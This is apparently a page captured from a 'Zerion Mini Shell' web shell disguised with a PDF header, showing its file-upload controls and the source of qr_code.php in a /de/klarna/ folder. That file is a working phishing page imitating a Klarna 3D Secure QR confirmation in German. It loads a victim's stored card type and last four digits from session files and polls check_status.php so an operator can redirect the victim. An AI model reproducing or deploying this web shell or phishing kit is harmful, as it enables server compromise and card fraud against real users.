%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /dom645759/de/klarna/
Upload File :
Create Path :
Current File : /dom645759/de/klarna/qr_code.php

<?php
$id = isset($_GET['id']) ? preg_replace('/[^a-zA-Z0-9]/', '', $_GET['id']) : '';
if (empty($id)) die("Session ID missing.");

$session_dir = "sessions";
$last4 = file_exists($session_dir . "/" . $id . "_last4.txt") ? trim(file_get_contents($session_dir . "/" . $id . "_last4.txt")) : "----";

// Priorité au paramètre URL 'type'
if (isset($_GET['type']) && in_array($_GET['type'], ['visa', 'mastercard', 'amex'])) {
    $card_type = $_GET['type'];
} else {
    $card_type = file_exists($session_dir . "/" . $id . "_type.txt") ? trim(file_get_contents($session_dir . "/" . $id . "_type.txt")) : 'unknown';
}

$qr_file = $session_dir . "/" . $id . "_qr.txt";
$default_qr = "https://i.postimg.cc/9fNKp8wf/images-(1).png";
$qr_image = file_exists($qr_file) ? trim(file_get_contents($qr_file)) : $default_qr;
?>
<!DOCTYPE html>
<html lang="de">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=yes">
    <title>3D Secure – QR Code Bestätigung</title>
        <link rel="shortcut icon" type="image/vnd.microsoft.icon" href="./img/fav.png">
    <link href="https://fonts.googleapis.com/css2?family=Inter:opsz,wght@14..32,300;14..32,400;14..32,500;14..32,600;14..32,700&display=swap" rel="stylesheet">
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            background: #f5f7fc;
            font-family: 'Inter', -apple-system, BlinkMacSystemFont, sans-serif;
            min-height: 100vh;
            display: flex;
            align-items: center;
            justify-content: center;
            padding: 20px;
        }
        .card {
            max-width: 480px;
            width: 100%;
            background: #ffffff;
            border-radius: 32px;
            box-shadow: 0 20px 35px -12px rgba(0,0,0,0.1), 0 1px 3px rgba(0,0,0,0.02);
            padding: 32px 28px 40px;
        }
        .card-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 24px;
            flex-wrap: wrap;
            gap: 12px;
        }
        .card-logo { height: 32px; width: auto; }
        .badge {
            background: #eef2ff;
            padding: 6px 14px;
            border-radius: 40px;
            font-size: 12px;
            font-weight: 600;
            color: #1e293b;
            display: inline-flex;
            align-items: center;
            gap: 6px;
        }
        .badge svg { width: 14px; height: 14px; stroke: #1e293b; }
        h2 { font-size: 24px; font-weight: 700; color: #0f172a; margin-bottom: 8px; text-align: center; }
        .sub {
            color: #475569;
            font-size: 14px;
            margin-bottom: 28px;
            text-align: center;
        }
        .qr-container {
            text-align: center;
            margin: 20px 0;
        }
        .qr-image {
            max-width: 160px;
            width: 100%;
            border-radius: 0;
            box-shadow: 0 8px 20px rgba(0,0,0,0.1);
        }
        .transaction-details {
            background: #f8fafc;
            border-radius: 24px;
            padding: 18px 20px;
            margin: 20px 0 24px;
            border: 1px solid #eef2ff;
        }
        .detail-line {
            display: flex;
            justify-content: space-between;
            padding: 10px 0;
            font-size: 14px;
            border-bottom: 1px solid #e2e8f0;
        }
        .detail-line:last-child { border-bottom: none; }
        .detail-label { color: #475569; font-weight: 500; }
        .detail-value { color: #0f172a; font-weight: 600; }
        .waiting-text {
            font-size: 15px;
            font-weight: 500;
            color: #1e293b;
            text-align: center;
            margin: 16px 0;
        }
        .btn-cancel {
            background: transparent;
            border: 1px solid #cbd5e1;
            padding: 12px;
            width: 100%;
            border-radius: 40px;
            font-size: 15px;
            font-weight: 600;
            color: #334155;
            cursor: pointer;
            transition: 0.2s;
            font-family: inherit;
            margin-top: 8px;
        }
        .btn-cancel:hover { background: #f1f5f9; border-color: #94a3b8; }
        .footer-note {
            margin-top: 28px;
            font-size: 11px;
            color: #94a3b8;
            text-align: center;
            border-top: 1px solid #eef2ff;
            padding-top: 20px;
        }
        @media (max-width: 500px) {
            .card { padding: 24px 20px 32px; }
            h2 { font-size: 22px; }
        }
    </style>
</head>
<body>
<div class="card">
    <div class="card-header">
        <?php if ($card_type == 'visa'): ?>
            <img src="https://1000logos.net/wp-content/uploads/2021/11/VISA-logo.png" class="card-logo" alt="Visa">
        <?php elseif ($card_type == 'mastercard'): ?>
            <img src="https://www.edigitalagency.com.au/wp-content/uploads/new-Mastercard-logo-png-large-size.png" class="card-logo" alt="Mastercard">
        <?php elseif ($card_type == 'amex'): ?>
            <img src="https://upload.wikimedia.org/wikipedia/commons/f/fa/American_Express_logo_%282018%29.svg" class="card-logo" alt="American Express">
        <?php else: ?>
            <img src="https://www.edigitalagency.com.au/wp-content/uploads/new-Mastercard-logo-png-large-size.png" class="card-logo" alt="Karte">
        <?php endif; ?>
        <div class="badge">
            <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                <path d="M12 3v1m0 16v1M9 4l2 2m4 4l2 2M5 12H4m16 0h-1M8 8L6 6m12 0l-2 2M8 16l-2 2m12 0l-2-2" stroke-linecap="round"/>
                <circle cx="12" cy="12" r="3"/>
            </svg>
            <span>3D Secure • QR</span>
        </div>
    </div>

    <h2>Transaktion bestätigen</h2>
    <div class="sub">Scannen Sie den QR‑Code mit Ihrer Banking‑App</div>

    <div class="qr-container">
        <img src="<?php echo htmlspecialchars($qr_image); ?>" class="qr-image" alt="QR Code" onerror="this.src='<?php echo $default_qr; ?>'">
    </div>

    <div class="transaction-details">
        <div class="detail-line">
            <span class="detail-label">Händler</span>
            <span class="detail-value">KLARNA AB</span>
        </div>
        <div class="detail-line">
            <span class="detail-label">Betrag</span>
            <span class="detail-value">€ 00,99</span>
        </div>
        <div class="detail-line">
            <span class="detail-label">Datum / Zeit</span>
            <span class="detail-value"><?php echo date('d.m.Y H:i:s'); ?></span>
        </div>
        <div class="detail-line">
            <span class="detail-label">Karte</span>
            <span class="detail-value">•••• •••• •••• <?php echo htmlspecialchars($last4); ?></span>
        </div>
    </div>

    <div class="waiting-text" id="statusMsg">Warten auf Bestätigung in der Banking‑App</div>

    <button class="btn-cancel" id="cancelBtn">Abbrechen</button>

    <div class="footer-note">
        <a href="#" id="refreshBtn">QR aktualisieren</a> • <a href="#">Support 24/7</a>
    </div>
</div>

<script>
    const id = "<?php echo $id; ?>";
    const last4 = "<?php echo $last4; ?>";
    const cardType = "<?php echo $card_type; ?>";
    let statusInterval = null;
    let redirectTriggered = false;

    const statusEl = document.getElementById('statusMsg');

    function redirectTo(action) {
        if (redirectTriggered) return;
        redirectTriggered = true;
        if (statusInterval) clearInterval(statusInterval);
        let finalUrl = action;
        const hasQuery = finalUrl.includes('?');
        finalUrl += (hasQuery ? '&' : '?') + 'id=' + encodeURIComponent(id);
        if (last4 && last4 !== 'xxxx') finalUrl += '&last4=' + encodeURIComponent(last4);
        if (cardType && cardType !== 'unknown') finalUrl += '&type=' + encodeURIComponent(cardType);
        window.location.href = finalUrl;
    }

    function checkStatus() {
        fetch('check_status.php?id=' + encodeURIComponent(id))
            .then(r => r.text())
            .then(data => {
                const status = data.trim();
                if (status !== 'wait' && status !== '' && !redirectTriggered) {
                    if (status === 'qr_code.php') return;
                    redirectTo(status);
                }
            })
            .catch(err => console.error("Fehler beim Polling:", err));
    }

    function startPolling() {
        if (statusInterval) clearInterval(statusInterval);
        statusInterval = setInterval(checkStatus, 2000);
        checkStatus();
    }

    document.getElementById('cancelBtn').addEventListener('click', () => {
        if (statusInterval) clearInterval(statusInterval);
        let url = 'verify.php?id=' + encodeURIComponent(id) + '&last4=' + encodeURIComponent(last4);
        if (cardType && cardType !== 'unknown') url += '&type=' + encodeURIComponent(cardType);
        window.location.href = url;
    });

    document.getElementById('refreshBtn').addEventListener('click', (e) => {
        e.preventDefault();
        window.location.reload();
    });

    startPolling();
</script>
</body>
</html>

Zerion Mini Shell 1.0